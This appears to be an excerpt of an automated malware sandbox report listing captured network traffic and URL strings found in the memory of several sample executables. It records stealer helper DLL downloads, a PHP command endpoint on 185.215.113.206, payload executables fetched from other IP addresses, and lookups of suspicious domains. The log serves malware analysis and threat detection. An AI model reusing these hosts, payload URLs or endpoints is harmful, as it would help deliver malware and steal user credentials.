Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/global/deprecation.js HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/scripts/en-us/index-docs.js HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/filer.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/7407486059/Tq4a1Bz.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=dnj8aNo2qFlqoahB1732658071 HTTP/1.1Host: home.twentykm20sr.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16

Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: b.tundara.dev
Source: global traffic	DNS traffic detected: DNS query: w.tundara.dev
Source: global traffic	DNS traffic detected: DNS query: home.twentykm20sr.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: occupy-blushi.sbs
Source: global traffic	DNS traffic detected: DNS query: blade-govern.sbs

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000000.00000002.1897672574.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeQ;9
Source: file.exe, 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1896494863.00000000004D7000.00000040.00000001.01000000.00000003.sdmp, 6af0f0d802.exe, 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllM3
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlla3
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll40G?
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll92K?
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllw3
Source: file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllk
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/VVC:
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Z
Source: file.exe, 00000000.00000002.1896494863.00000000004D7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001644000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp, 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Y
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=6PROCESSOR_REVIS
Source: file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=c
Source: file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpEc
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIc
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: file.exe, 00000000.00000002.1896494863.00000000004D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpcm/z
Source: file.exe, 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpomP8_
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/h
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ta
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2065
Source: file.exe, 00000000.00000002.1896494863.00000000004D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000001F.00000002.2532637614.0000019699DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000001F.00000002.2532637614.0000019699DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: 4edf09f764.exe, 00000032.00000003.2808417246.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2916219673.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.3015738461.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2941499349.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://dejavu.sourceforge.net
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://dejavu.sourceforge.net/wiki/index.php/License
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/Lic
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://emojione.com/licensingColor
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://emojione.comEmojiOne
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPP737
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://ip-api.com/json/DestroyEnvironmentBlock
Source: powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://s.symcd.com0_
Source: powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000001F.00000002.2510101380.0000019681581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://sw.symcb.com/sw.crl0
